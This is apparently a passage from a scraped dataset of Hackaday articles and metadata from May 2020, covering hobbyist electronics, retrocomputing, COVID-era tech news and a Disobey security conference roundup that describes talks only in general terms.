research being conducted by the Department of Defense into open-air plasma speakers
. Developed as part of the Joint Non-Lethal Weapons Program, the light and sound produced by the plasma ignition was envisioned as a way to stun or confuse a target. One demonstration even showed how the plasma ball could be modulated in such a way that they could emit an audible warning message.
Phantom Fliers
Looking at existing laser-induced plasma experiments, the Navy’s idea suddenly seems a lot more reasonable. While packing a powerful enough laser and associated optics into a package small enough to mount to a fighter jet may still be a few years away, it seems clear that the concept itself is sound.
DoD laser-induced plasma experiment.
The advantages of such a system over traditional flares are considerable. As already mentioned, this type of countermeasure wouldn’t be consumable.
Chaff and flares need to be carefully rationed with the help of automated dispensers
, but so long as the turbines are spinning and the plane has sufficient electrical power to operate the laser, the projection can remain active.
Another key improvement is that the plasma decoy will actually follow the aircraft as it flies. Corporeal countermeasures are quickly left behind, but these ghosts would be able to maintain a set distance from the aircraft throughout the entire mission.
So what happens when aircraft are able to project plasma ghosts behind them that make them invulnerable to heat-seeking missiles? It seems the next logical step would be to develop missiles that use visual identification for terminal guidance. At that point you’d need an emitter that can project a decoy that actually
looks
like a real airplane, in which case we might actually get that fabled holographic display technology before too long. | 34 | 13 | [
{
"comment_id": "6246433",
"author": "Ren",
"timestamp": "2020-05-18T14:24:16",
"content": "Tom,include a link to the Hackaday article about the B-52 chaff dispenser.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6246448",
"author": "Wilbrus",
... | 1,760,373,484.868866 | ||
https://hackaday.com/2020/05/18/esp32-trail-camera-goes-the-distance-on-aa-batteries/ | ESP32 Trail Camera Goes The Distance On AA Batteries | Tom Nardi | [
"digital cameras hacks",
"Microcontrollers"
] | [
"ESP32",
"low power",
"mosfet",
"optoisolator",
"power saving"
] | There’s no shortage of things to like about the ESP8266 and ESP32, but if we had to make a list of the best features these WiFi-enabled microcontrollers have to offer, their power management capabilities would certainly be near the top. Which is how we assumed
[Mark] was able to take a whopping 23,475 pictures on his ESP32 camera
while powered by nothing more exotic than four AA batteries from the grocery store.
But as it turns out, the full story is quite a bit more interesting. As far as we can tell, [Mark] isn’t bothering with the ESP32’s sleep modes all. In fact, it looks like you could pull this trick off with whatever chip you wanted, which certainly makes it worth mentally filing away for the future; even if it depends on a fairly specific use case.
In the most simplistic of terms, [Mark] is cutting power to the ESP32 completely when it’s not actively taking pictures. The clever circuit he’s come up with only turns on the microcontroller when a PIR sensor detects something moving around in front of the camera. Once the chip is powered up and running code, it brings one of its GPIO pins high which in turn triggers a 4N37 optoisolator connected to the gate on the circuit’s MOSFET. As long as the pin remains high, the circuit won’t cut power to the ESP32. This gives the chip time to take the requested number of pictures and get everything in order before bringing the pin low and allowing the circuit to pull the plug.
If you’re looking to maximize runtime without wrangling any MOSFETs, we’ve seen some excellent examples of
how the low power modes on the ESP8266 and ESP32 can be put to impressive use
.
[Thanks to Jason for the tip.] | 34 | 10 | [
{
"comment_id": "6246390",
"author": "Saabman",
"timestamp": "2020-05-18T11:21:44",
"content": "That is very neat the only trouble I see is the length of time between detection and taking a photo, I didn’t time it but it seems to be around 1sec which unfortunately a bit too long. I use a number of ... | 1,760,373,485.040549 | ||
https://hackaday.com/2020/05/18/new-breakout-board-for-grid-eye-thermal-sensor/ | New Breakout Board For Grid-EYE Thermal Sensor | Donald Papp | [
"Linux Hacks",
"Microcontrollers"
] | [
"AMG8833",
"CH341A",
"GRID-EYE",
"grideye2",
"groupgets",
"linux",
"Pure Engineering",
"PureModules",
"Thermal",
"usb"
] | Panasonic’s Grid-EYE sensor is essentially a low-cost 8×8 thermal imager with a 60 degree field of view, and a nice breakout board makes it much easier to integrate into projects. [Pure Engineering] has created an
updated version of their handy breakout board for the Grid-EYE
and are currently accepting orders. The new breakout board is well under an inch square and called the
GridEye2
(not to be confused with the name of the main component, the
AMG8833 Grid-EYE
by Panasonic.)
GridEye2 connected to CH341A dev board, allowing easy PC interface over USB.
A common way to interface with the Grid-EYE is over I2C, but to make connecting and developing on a PC more straightforward, [Pure Engineering] has made sure the new unit can plug right into their (optional) CH341A development board to provide a USB interface. Getting up and running on a Linux box is then as simple as installing the
Linux drivers for the CH341A
, and using
sample C code
to start reading thermal data from an attached GridEye2 board.
The Grid-EYE is a low-cost and capable little device that
mates well with an LED matrix display
, and on the more advanced side, a simple
Gaussian interpolation can have a striking effect when applied to low-resolution sensors
, making them appear higher resolution than they actually are. | 13 | 6 | [
{
"comment_id": "6246382",
"author": "Ostracus",
"timestamp": "2020-05-18T10:03:01",
"content": "Wonder what the refresh rate is? Maybe a slow-scan type of reader.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6246385",
"author": "D-Sign",
"... | 1,760,373,484.921049 | ||
https://hackaday.com/2020/05/17/keyboard-switch-is-really-a-transformer/ | Keyboard Switch Is Really A Transformer | Al Williams | [
"Misc Hacks"
] | [
"Cortron",
"Devlin",
"ITW",
"keyboard",
"magnetic core",
"magnetic valve switch",
"saturation",
"switch",
"switches",
"transformer saturation"
] | We don’t know why [TubeTime] decided to show off this
oddball keyboard switch
as a series of Twitter posts, but we were glad to see them somewhere. At first, the switch looks pretty conventional. But as the pictures reveal the insides, you’ll notice something unusual: a ferrite toroid! These switches operate as a transformer and are known as magnetic valve switches.
The switches have two sets of two pins — one set for the primary and one for the secondary of the transformer wound around the ferrite core. That transformer remains stationary, but a pair of permanent magnets move. When the key is up, the magnets are close to the core and cause the transformer to saturate, so there is little or no output at the secondary. When you depress the key, the magnet moves away from the core, allowing the signal to pass through the transformer. What that means is there is no mechanical contact, which is good for switch life. It is also important in environments where a small spark could cause an explosion. You can watch a video about a keyboard that used those switches, below.
Sometimes known as Cortron switches, they appeared as a
patent
in 1974. While they did find use in quite a few products — especially those where a mechanical switch was undesirable, hall effect switches became more economical to produce and drove the magnetic valve switches out of the market by 2005.
Surprisingly, this is one of those rare topics where an Internet search only turns up a handful of pages. There’s a brief mention of their history on a
keyboard
site (that also has an interesting
discussion about interfacing
). We also found some information about where they turned up
on this page
. Those, along with a few stray discussion posts and the patents, seemed to be about it.
Oddly, this isn’t the first time we’ve seen
transformers in a keyboard
, although not quite used in the same way. If your transformer theory is rusty, we have
just the video for you
. | 11 | 5 | [
{
"comment_id": "6246363",
"author": "John",
"timestamp": "2020-05-18T06:38:24",
"content": "The Nascom 1 (and 2) British home computer kits from the late 1970s used Licon keyboards which had pulse transformer key switches. The keyboard cost £30 and the whole kit cost just under £200 less power supp... | 1,760,373,484.963211 | ||
https://hackaday.com/2020/05/17/defense-department-funds-wearables-to-detect-covid-19/ | Defense Department Funds Wearables To Detect COVID-19 | Orlando Hoilett | [
"News"
] | [
"antibodies",
"aptamers",
"biosensors",
"chemical biology",
"coronavirus",
"dna",
"DoD",
"heart rate monitors",
"PCR",
"physiological monitors",
"rna",
"Wearables"
] | As many countries across the globe begin loosening their stay-at-home orders, we’re seeing government agencies and large companies prepare for the lasting effects of the pandemic.
A recent solicitation from the United States Department of Defense (DoD)
indicates
they are investing $25 million into wearable devices that can detect early signs of COVID-19
.
Based on a few details from the request for project proposals, it looks like the DoD is targeting mostly companies in this particular solicitation, but have left the door open for academic institutions as well. That makes intuitive sense. Companies can generally operate at a faster pace than most academic research labs. Given the urgency of the matter, faster turnarounds in technological development are imperative. Nonetheless,
we have seen quite a bit of important COVID-19 work coming from academic research labs
and we imagine that battling this pandemic will take
all the brilliant minds we can muster together
.
It’s good to see the DoD join the fight in what could be a lengthy battle with the coronavirus.
Please feel free to read through the request for project proposals for more details
. | 10 | 4 | [
{
"comment_id": "6246351",
"author": "LOL",
"timestamp": "2020-05-18T04:12:21",
"content": "“investing $25 million”Is that a lot of money for a soldier, or a poorly timed joke?That will only buy you a lot of party clowns who can’t do math.Noone can save people from themselves…https://www.youtube.com... | 1,760,373,485.087707 | ||
https://hackaday.com/2020/05/17/hackaday-links-may-17-2020/ | Hackaday Links: May 17, 2020 | Dan Maloney | [
"Hackaday Columns",
"Hackaday links"
] | [
"boston dynamics",
"Covid-19",
"detection",
"gear",
"googol",
"hackaday links",
"lockdown",
"mask",
"pollution",
"PPE",
"SAR-CoV-2",
"surveillance state"
] | Consider it the “Scarlet Letter” of our time. An MIT lab is developing
a face mask that lights up to alert others when the wearer has COVID-19
. The detection technology is based on sensors that were developed for the Ebola virus scare and uses fluorescently tagged DNA fragments freeze-dried onto absorbent strips built into the mask. The chemistry is activated by the moisture in the sputum expelled when the wearer coughs or sneezes while wearing the mask; any SARS-CoV-2 virus particles in the sputum bind to the strips, when then light up under UV. The list of problems a scheme like this entails is long and varied, not least of which is what would possess someone to willingly don one of these things. Still, it’s an interesting technology.
Speaking of intrusive expansions of the surveillance state, Singapore is apparently now using a Boston Dynamics Spot robot to
enforce social-distancing rules
in its public parks and gardens. The familiar four-legged, bright yellow dog-bot is carrying cameras that are relaying images of park attendees to some sort of image analysis program and are totally not capturing facial or personal data, pinky swear. If people are found to be violating the two-meter rule, Spot will bark out a prerecorded reminder to spread out a bit. How the system differentiates between people who live together who are out getting some fresh air and strangers who should be staying apart, and whether the operators of this have ever seen
how this story turns out
are open questions.
Those who lived through 9/11 in the United States no doubt remember the deafening silence that descended over the country for three days while every plane in the civil aviation fleet was grounded. One had no idea how much planes contributed to the noise floor of life until they were silenced. So too with the lockdown implemented worldwide to deal with the COVID-19 pandemic, except with the sometimes dramatic reduction in pollution levels. We’ve all seen pictures where people suddenly realize that
Los Angeles isn’t necessarily covered by an orange cloud of smog
, and that
certain mountain ranges are actually visible
if you care to look. But getting some hard data is always useful, and
these charts
show just how much the pollution situation improved in a number of countries throughout the world after their respective lockdowns. For some cities, the official lockdown was a clear demarcation between the old pollution regime and the new, but for some, there was an obvious period before the lockdown was announced where people were obviously curtailing their activity. It’s always interesting pore over data like this and speculated what it all means.
While the in-person aspects of almost every conference under the sun have been canceled, many of them have switched to a virtual meeting that can at least partially make up for the full experience. And coming up next weekend is
Virtually Maker Faire
, in the slot where Bay Area Maker Faire would normally be offered. The call for makers ends today, so get your proposals in and sign up to attend.
And finally, there aren’t too many times in life you’ll get a chance to get to visualize a number so large that an Evil Empire was named for it. The googol, or 10
100
, was a term coined by the nine-year-old nephew of mathematician Edward Kasner when he asked the child for a good name for a really big number. To put the immensity of that number into perspective, The Brick Experiment Channel on YouTube put together
an improbably long gear train
using Lego pieces we’ve never seen before with a reduction ratio of 10
103.4
:1. The gear train has a ton of different power transmission elements in it, from plain spur gears to worm drives and even planetary gears. We found the 2608.5:1 harmonic gear particularly fascinating. There’s enough going on to keep even a serious gearhead entertained, but perhaps not for the 5.2×10
91
years it’ll take to revolve the final gear once. Something, something, heat-death of the universe. [Ed note:
prior art
, which we were oddly enough thinking of fondly just a few days ago. Synchronicity!] | 9 | 6 | [
{
"comment_id": "6246325",
"author": "Hirudinea",
"timestamp": "2020-05-17T23:50:31",
"content": "If they have a mask that will light up when you have Covid 19 then why in the hell don’t we have rapid test strips for Covid that do the same thing!?",
"parent_id": null,
"depth": 1,
"replie... | 1,760,373,485.128649 | ||
https://hackaday.com/2020/05/17/look-ma-no-support-for-my-floating-holes/ | Look Ma, No Support For My Floating Holes! | Jenny List | [
"3d Printer hacks"
] | [
"3d printing",
"holes",
"support"
] | Do you find supports to be annoying, when you use a 3D printer? A lot of time breaking away surplus pieces of plastic and then cleaning up the resulting ragged edges on your prints is certainly an unwelcome chore. But printing in free space is beyond the capabilities of even the most expensive printer, so it seems we’re stuck with supports for the foreseeable future. [
Adam Haile
] may have a solution to some support woes though, in the form of
a clever technique for printing inset holes without support
. His designs have a significant quantity of screw holes with inset heads, too far for the printer to bridge over so his technique breaks down the bridge into manageable smaller distances.
In the video below the break he shows how its done, with successive single layers that contain polygons bridging chords across the circle, with each layer approximating further to the final hole and the last holding the hole itself. Over a few layers the hole is created, without any support but with the minor inconvenience of a not perfectly flat inset. It’s a very clever idea, and one that we’d be interested to see further expanded upon by others. | 21 | 8 | [
{
"comment_id": "6246281",
"author": "Greg A",
"timestamp": "2020-05-17T20:36:24",
"content": "I think this is functionally the same as what I use to avoid supports in overhangs like this…I call it crenelations (though it’s on the bottom, not the top like on a real castle). If a circumferential lin... | 1,760,373,485.183886 | ||
https://hackaday.com/2020/05/17/60s-natural-gas-pipeline-computer-retires-to-play-games/ | 60’s Natural Gas Pipeline Computer Retires To Play Games | Al Williams | [
"Retrocomputing"
] | [
"gaming",
"lunar lander",
"paper tape",
"retrocomputing",
"SEL 810A",
"Systems Engineering Laboratories"
] | Computer gaming has come a very long way since the 1960s. While computers of that era may not run Doom or anything even close to it, many of us had our first exposure to computers playing Hunt the Wumpus, Adventure, or Star Trek over a clackety old TeleType machine. If you missed those days, or if you simply miss them, you might enjoy the video from [somecomputerguy] who
fires up an old retired gas pipeline computer
and loads enough paper tape into it to play Lunar Lander. (Video embedded below.)
We don’t miss the days of toggling in a bootloader so you could load the paper tape for a second bootloader before you could enter the actual program you wanted to run.
The
SEL 810A
wasn’t a very well known computer compared to a DEC or Data General computer. The company was bought by Gould and later bought by Encore. The computer was actually very advanced for its day, providing an all IC-based 16-bit computer. Some parts of the company still exist as part of
Compro
.
As for the Lunar Lander game, those were typically a very simple model of something falling at a particular G force. You used limited fuel to counteract gravity. A successful landing was one that hit the ground at a relatively slow speed. Later versions would include moving right and left to hit a target and even some crude graphics. However, the version you see on the video has been around on many computers, including the HP-41C.
We also enjoyed seeing the old H19 terminal. Press fitting the connectors while building those was a pain, but they sure looked good. If you want a more Rube Goldberg version of Lunar Lander,
try this one
. If you are a bit younger, and pine for the vector graphics arcade version of Lunar Lander,
grab your oscilloscope
. | 33 | 11 | [
{
"comment_id": "6246250",
"author": "Jan",
"timestamp": "2020-05-17T17:16:25",
"content": "Cool! Thanks for posting!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6246252",
"author": "Brent",
"timestamp": "2020-05-17T17:24:45",
"content": "In the... | 1,760,373,485.316555 | ||
https://hackaday.com/2020/05/17/mitigating-con-deprivation-disobey-2020/ | Mitigating Con Deprivation: Disobey 2020 | Sven Gregori | [
"cons",
"Roundup"
] | [
"community",
"conference",
"cybersecurity",
"Disobey",
"hacker culture",
"security",
"torille",
"white hat hacking"
] | While the Coronavirus-induced lockdown surely makes life easier for the socially anxious and awkward ones among us, it also takes away the one thing that provides a feeling of belonging and home: conferences. Luckily, there are plenty of videos of past events available online, helping to bypass the time until we can mingle among like-minded folks again. To put one additional option on the list, one event you probably never even heard of is
Disobey
, Finland’s annual security conference that took place for its fifth time in Helsinki earlier this year, and they recently published
the playlist of this year’s talks
on their
YouTube channel
.
With slightly under 1500 hackers, makers, and generally curious people attending this year, Disobey is still on the smaller side of conferences, but comes with everything you’d expect: talks, workshops, CTF challenges, and a puzzle-ridden badge. Labeling itself as “The Nordic Security Event”, its main focus is indeed on computer and network security, and most of the talks are presented by professional security researchers, oftentimes Red Teamers, telling about some of their real-world work.
In general, every talk that teaches something new, discusses important matters, or simply provides food for thought and new insight is worth watching, but we also don’t want to give everything away here either. The
conference’s program page
offers some outline of all the talks if you want to check some more information up front. But still, we can’t just mention a random conference and not give at least some examples with few details on what to expect from it either, so let’s do that.
Security And Breaking Things
If you’re not too familiar with the work of security researchers or the field itself, but are still curious about it, or simply like to hear stories from the trenches of messed up security in practice,
Security Expedition in b0rkenLand
by [Hetti] might be a good starting point for you. For something more avionics related regarding the latter, you should check [Chris Kubecka]’s
More Than Turbulence
, where she talks about her work looking into the state of Boeing’s digital security — assuming you’re not already uncomfortable with the thought of flying.
Now, having a license to break things, i.e. being a pentester / security consultant / white hat hacker, will definitely spark a few interesting subjects on a conference like this. [Antti Virtanen] for example shows in
I’m in your office
a good dozen of different ways he was able to bypass access control in buildings. Some of them seem so stereotypical that you would just roll your eyes if you saw them in yet another movie, but turns out it might just be as easy as Hollywood wants us to believe.
An entirely different subject is
Breaking Detection with x86 ISA Specific Malware
by [Chris Hernandez], whose idea is to use different x86 Instruction Set Architecture versions to prevent malware detection. Assuming a sandboxed or otherwise isolated system that checks for malware is using a different architecture than the target system, using opcodes not supported by the detection system could prevent it from properly analyzing malicious code, and potentially letting an attacker succeed executing it on the target system. Lots of assumptions in here, yes, but remember, this is as much about having fun breaking things as it is about education — maybe there’s more to an illegal instruction crash than meets the eye.
Likewise worth watching is
Live Memory Attacks and Forensics
by [Ulf Frisk], the author of
PCILeech
and
MemProcFS
. Both the tools and the talk are about DMA over PCIe attacks, which [Ulf] demonstrates and, among other things, uses to turn the tables when he compromises a Kali Linux system from within Windows, go figure!
Privacy And Philosophy
Of course, no security conference would be complete without talking about privacy. Considering Disobey took place a couple of weeks before COVID-19 was declared a pandemic and
tracking apps to prevent its spread
became a normal thing to talk about, [Anne Oikarinen] and [Tuisku Sarrala] discussing
Privacy Threat Modeling Based on Data Lifecycle
seems even more relevant today. Looking at different aspects and stages in the data life cycle, and possible privacy concerns caused by it, their main message is directed towards developers who may not fully realize how their own view on data might expose or endanger others.
[Antti Kurittu] points out a similar cognitive bias in his
Paradigm Shift
talk: developers oftentimes fail to see how they’re part of a small, tech-savvy elite that understands how computers actually work. The majority of the population on the other hand, who is also the majority of users today, doesn’t though — and neither are they interested enough. But that mismatch is what causes infamous user errors, and turns the user into a security issue itself. As [Antti] puts it, “if it’s difficult to use, it’s difficult to use securely”, and maybe it’s time we seriously rethink user interfaces.
The Keynote Talks
Sure, blaming the user is easy, but it’s not going to solve anything, as [Mikko Hyppönen], Finland’s Security Daddy and, among many things,
curator of the Malware Museum
, addresses in
Friday’s Keynote
. He’s starting off with the general state of the internet, how it’s on its way becoming as fundamentally crucial to society as electricity, and the consequences this development will have from a security perspective. Showcasing a few high-profile individuals and scenarios from the past, he enters machine learning into the equation and forms his prediction about the future of malware.
An entirely different talk is
Saturday’s Keynote
given by [Jayson E. Street], and if you had to choose just one talk from Disobey, this is the one that should resonate the most with any present and future hacker, and anyone interacting with the hacker community. Using Matrix references, he reminds us about the meaning of being a hacker, and how it isn’t about computers but passion and challenging the norm, which requires a constant curiosity-driven learning with many failures ahead.
The hacker community is a manifold world where everyone should and does have their own ideas and goals, and no one will ever have the one true answer to anything — thinking so would actually be the total opposite of what the community is supposed to stand for. In conclusion, [Jayson] settles the score with all the gatekeeping, judging and discrimination inside the community, and encourages everyone to stop being their own biggest critic and just do what they enjoy doing, regardless what anyone else might think.
Disobey’s main organizer [Benjamin Särkkä] delivers a similar message in the conference’s
Opening Remarks
, and in the end, that’s what conferences and the community they’re addressed to should really be about: learning, sharing knowledge, being passionate about the things you love doing, and enjoying yourself in a surrounding where — maybe for the first time — you feel like you belong. | 6 | 3 | [
{
"comment_id": "6246238",
"author": "RW ver 0.0.3",
"timestamp": "2020-05-17T15:07:55",
"content": "“As [Antti] puts it, “if it’s difficult to use, it’s difficult to use securely” ”Brings to mind that old saw “If you want a totally secure linux system, build it from scratch from source yourself” ye... | 1,760,373,485.235722 | ||
https://hackaday.com/2020/05/17/force-feedback-mouse-really-shakes-things-up/ | Force Feedback Mouse Really Shakes Things Up | Tom Nardi | [
"Games",
"Peripherals Hacks"
] | [
"force feedback",
"gaming",
"mouse",
"virtual reality"
] | This is a very exciting time for those who like to spend their downtime exploring virtual worlds. The graphics in some big-budget titles are easily approaching photorealism, and immersive multi-channel sound can really make you believe you’ve been transported to another place or time. With another generation or two of GPU development and VR hardware, the line between gaming and reality is bound to get awful blurry.
That said, we’re still a far way off from the holodeck aboard the
Enterprise
. A high-end PC and the latest in VR can fool your eyes and ears, but that still leaves your other senses out of the fun. That’s why
[Jatin Patel] has developed this clever force-feedback mouse
using an array of solenoids.
The idea is pretty simple: a Python program on the computer listens for mouse click events, and tells an attached Arduino to fire off the solenoids when the player pulls the virtual trigger. It’s naturally not a perfect system, as it would seem that clicking in the game’s menus would also start your “gun” firing. But as you can see in the video after the break, when it works, it works
very
well. The moving solenoids don’t just vibrate the mouse around, the metallic clacking actually accentuates the gun sound effects from the game.
With this kind of tactile feedback and
an omnidirectional treadmill to keep us moving
, we’d be pretty close to fooling our senses into thinking we’re actually somewhere else. Which frankly, sounds quite appealing right about now.
[Thanks to Mason for the tip.] | 21 | 13 | [
{
"comment_id": "6246211",
"author": "STEPHEN SHAFFER",
"timestamp": "2020-05-17T12:54:54",
"content": "Love it, I wonder how many matches til the relays wear out?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6246222",
"author": "lukilukeskywalker"... | 1,760,373,485.420042 | ||
https://hackaday.com/2020/05/16/a-pulse-oximeter-from-very-little/ | A Pulse Oximeter From Very Little | Jenny List | [
"Medical Hacks"
] | [
"ir",
"led",
"oximeter",
"photodiode",
"pulse oximeter"
] | Against the backdrop of a global respiratory virus pandemic, it’s likely that more than a few readers have been thinking about pulse oximeters. You may even have looked at one closely and seen that it’s little more than a device which shines light through your finger, and wondered how they work. It’s something [Giulio Pons] has done, and to show us how it’s done
he’s created a working pulse oximeter of his own
.
He started with an infra-red heartbeat sensor module, which is revealed as nothing more than an IR LED and a photodiode. Sampling the output from the photodiode allows measurement of heartbeat, but gives not clue as to oxygen saturation. The interesting part comes via the property of red light in that it’s transmission through flesh varies with oxygen saturation, so adding a red LED and alternately measuring from the IR and red illuminations allows a saturation figure to be derived.
Commercial pulse oximeters are pretty cheap, so many of us will no doubt simply order one from the usual sources and call it good. But it’s always interesting to know how any device works, and this project reveals something simpler than we might have expected. If pulse oximeters interest you, compare it with
this one we featured a few years ago
. | 31 | 7 | [
{
"comment_id": "6245960",
"author": "Paula",
"timestamp": "2020-05-16T12:12:13",
"content": "Building the circuit and data acquisition components is straightforward. Choosing the correct wavelengths is a not much harder: it’s well documented, but an random pair of LEDs are not necessarily the opti... | 1,760,373,485.489447 | ||
https://hackaday.com/2020/05/16/the-19th-century-when-gravity-battery-meant-something-different/ | The 19th Century, When Gravity Battery Meant Something Different | Jenny List | [
"chemistry hacks"
] | [
"battery",
"gravity battery",
"Robert Murray-Smith",
"zinc bromide"
] | The internet is full of dubious content promoting “free energy” devices and other ideas that stretch credibility, so [Robert Murray-Smith] prefaces his demonstration of a gravity battery with a warning to look elsewhere if you are in search of such things. Instead he’s
showing us a pair of cells from The Model Engineer and Amateur Electrician
, a printed periodical that sounds to us something like an equivalent of Hackaday from the 1890s. (Video embedded below.)
The cells are termed gravity batteries because their constituents settle out into layers not unlike a tequila sunrise under the influence of gravity, something that made them especially suitable for the home constructor in the late 19th century when there were no handy wall outlets from which to snag a bit of power.
The chemistry of each is not unexpected if you spent any time in your high school’s lab, a zinc-copper primary cell with a zinc sulphate/copper sulphate electrolyte and a secondary zinc-carbon cell with a zinc bromide electrolyte and a layer of bromine forming on charging. The construction in large glass vessels is archaic though, and it’s this that’s prompted his video. He poses the question whether this type of cell might be revived using 21st century techniques to produce something of use today. The video is below the break, and even if you are not about to try your hand at electrochemistry it’s an interesting watch.
Thanks [Blaubär] for the tip! | 19 | 10 | [
{
"comment_id": "6245920",
"author": "Eric",
"timestamp": "2020-05-16T08:37:07",
"content": "At the moment, the link is missing.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6245939",
"author": "Elliot Williams",
"timestamp": "2020-05-16T10... | 1,760,373,485.740515 | ||
https://hackaday.com/2020/05/15/edsac-lives-in-mister/ | EDSAC Lives In MiSTer | Al Williams | [
"Retrocomputing"
] | [
"edsac",
"fpga",
"MiSTER",
"verilog"
] | There’s a lot of argument over which was the first modern computer to be built. There’s room for debate, but EDSAC — the work of Dr. Maurice Wilkes — certainly was among the first. While we’ve seen simulators before, [hrvach’s]
FPGA-based simulator
for the MiSTer platform has a lot going for it. Check out the video, below.
So much of what we take for granted today was first developed on the EDSAC. For example, the “Wheeler jump” (named after graduate student David Wheeler) was the origin of the idea of a subroutine.
Given a quick look at the Verilog, we don’t think the internals are set up the same. After all, the real EDSAC processed data a bit at a time as the bits fell off the end of a mercury delay line. However, the reproduction is faithful enough to run Wilkes’ program for computing Chapman’s Grazing Incidence Integral and get the same result as the real machine.
One of the benefits of the mercury delay line setup was that bits appeared at a certain time relative to each other. Connect an oscilloscope and you can view the machine’s memory in realtime. This also meant a clever programmer could put an arrangement of bits in the lines to form an image on the oscilloscope, and that’s what one programmer did back in 1952 to let the computer play tic-tac-toe.
The EDSAC was both important enough and simple enough that we’ve seen a few
FPGA implementations
. Unlike some
early computers
, the EDSAC is close enough to a modern machine to be worth
learning to program
. If you want to know more about MiSTer,
here you go
. | 5 | 4 | [
{
"comment_id": "6245881",
"author": "Steve Spence",
"timestamp": "2020-05-16T05:21:34",
"content": "Eniac used decimal, edvac was the first binary storage computer. edsac followed 4 years later.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6245970",
... | 1,760,373,485.531788 | ||
https://hackaday.com/2020/05/15/diy-neuralyzer-from-scrap-parts/ | DIY Neuralyzer From Scrap Parts | Orlando Hoilett | [
"Misc Hacks",
"Space"
] | [
"Agent J",
"Comic-Con",
"memory",
"Men in Black",
"MIB",
"sci-fi",
"scifi"
] | Cosplay and prop making are near and dear to our hearts here at Hackaday. That’s why whenever we see sci-fi tech brought to life, we can’t help but pay close attention.
Enter [How to make’s] DIY Neuralyzer, from the Men-in-Black franchise
. Unfortunately, this
won’t wipe your memories as the real-life Neuralyzer would
, but it will make for a cool prop at your next cosplay event.
What makes this project worth sharing is its use of very simple home tools and a bit of scrap metal, some PVC, a single LED, a switch, and maybe a few more miscellaneous bits. The base of the design is composed of two pieces of hollow, rod-shaped scrap metal and a single spring that mechanizes the entire setup.
The video is a few months old at this point. It took a
recent post on Reddit
to send this across our feed, but we’re glad we came across it.
Great project [How to make]!
May we suggest a few more LEDs? | 9 | 4 | [
{
"comment_id": "6245866",
"author": "jafinch78",
"timestamp": "2020-05-16T02:59:01",
"content": "Reminds me of the wand device in the movie Control Factor… though I think that was a more deadly device.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6245934",
... | 1,760,373,485.572549 | ||
https://hackaday.com/2020/05/15/high-voltage-experiment-pipes-power-with-water/ | High Voltage Experiment Pipes Power With Water | Tom Nardi | [
"Science"
] | [
"capacitive coupling",
"water",
"Wireless power",
"wireless power transfer"
] | The idea of transferring energy with water isn’t exactly new. In fact, it’s downright ancient. Running water has been tapped to power our contrivances since folks were getting excited about that new library they were opening up over in Alexandria. But what if there was a way to deliver power with water that wasn’t kinetic, and instead relied on the electrical properties of the planet’s favorite libation?
That’s exactly what
[Jay Bowles] set out to explore with his latest experiment
. Since water (we know, not
pure
water) conducts electricity, it stands to reason that it could be used as a stand-in for traditional copper wiring. Why would you want to do such a thing? Because unlike wires, water can easily morph into whatever shape may be required, and can be moved around and controlled with nothing more complex than ball valves.
To test this concept, [Jay] put together a water distribution system out of simple acrylic tubing. A reservoir was attached to one of his high voltage generators, and copper caps were placed at the end of the tubes to serve as direct attachment points for devices.
But thanks to capacitive coupling, the fluorescent lights he uses don’t actually
need
to be physically connected to light up. As demonstrated in the video after the break, the lights surrounding the system can be independently controlled just by turning their respective valves on and off; all without any physical contact being made.
Of course, compared to traditional wiring there are plenty of downsides to this idea. Copper wires don’t tend to freeze in the winter and spring a leak, nor do they build up bubbles of explosive hydrogen gas. So it’s safe to say the wiring in your house probably won’t ever be replaced with a tube of charged water. But [Jay] does have some interesting ideas of how this technique could be used in non-traditional ways. For example, he describes how outdoor lighting could be powered by the energy radiating from a small stream.
Even if the practical applications of this technique are somewhat limited, there’s no question that it’s a fascinating idea. Believing that he’s the first person to ever demonstrate power transmission under these specific circumstances, he’s decided to call the concept “Bowles Transmission”. We’d love to see somebody use this principle in one of their projects, and we’re willing to bet so would [Jay].
As with his recent ozone sterilization experiments
, we imagine this idea is going to be met with some debate. But that’s sort of the point. [Jay] doesn’t claim to have all the answers, and hopes these videos get people thinking and talking. As they say, nothing great was ever achieved without enthusiasm. | 27 | 10 | [
{
"comment_id": "6245835",
"author": "fillibar",
"timestamp": "2020-05-15T23:55:40",
"content": "There may be some argument about being first to demonstrate transfer of power via water… but it depends on how specific you get. This paper talks about power and data transmission through open water (fre... | 1,760,373,485.906404 | ||
https://hackaday.com/2020/05/15/laundry-monitor-wont-generate-static-with-roommates/ | Laundry Monitor Won’t Generate Static With Roommates | Kristina Panos | [
"Arduino Hacks",
"how-to",
"Lifehacks"
] | [
"current sensing",
"ESP32",
"hall effect",
"hall effect sensor",
"laundry monitor",
"sms",
"twilio"
] | Laundry. It’s one of life’s inescapable cycles, but at least we have machines now. The downside of this innovation is that since we no longer monitor every step — the rock-beating, the river-rinsing, the line-hanging and -retrieving — the pain of laundry has evolved into the monotony of monitoring the robots’ work.
[Adam] shares his wash-bots with roommates, and they aren’t close enough to combine their lights and darks and turn it into a group activity. They needed an easy way to tell when the machines are done running, and whose stuff is even in there in the first place, so
[Adam] built a laundry machine monitor that uses current sensing to detect when the machines are done running and sends a text to the appropriate person
.
Each machine has a little Hall effect-sensing module that’s carefully zip-tied around its power cable. The signal from these three-wire boards goes high when the machine is running and low when it’s not. At the beginning of the load, the launderer simply presses their assigned button on the control box, and the ESP32 inside takes care of the rest.
Getting a text when your drawers are clean is about as private as it gets. Clean underwear, don’t care?
Put it on a scrolling marquee
. | 11 | 6 | [
{
"comment_id": "6245762",
"author": "Mike Szczys",
"timestamp": "2020-05-15T20:11:26",
"content": "Looks like there’s a blog post on how this current sensor works:https://blog.moderndevice.com/?p=356Something of a differential AC sensor: one hall effect sensor on either side of the AC power cable m... | 1,760,373,485.998144 | ||
https://hackaday.com/2020/05/15/purdue-meta-ar-app-allows-instructors-and-students-to-build-their-own-ar-learning-content/ | Purdue Meta-AR-App Allows Instructors And Students To Build Their Own AR Learning Content | Orlando Hoilett | [
"News",
"Virtual Reality"
] | [
"augmented reality",
"C Design Lab",
"education",
"Engineering Education",
"hands on",
"Meta-AR",
"online classes",
"purdue university",
"remote learning"
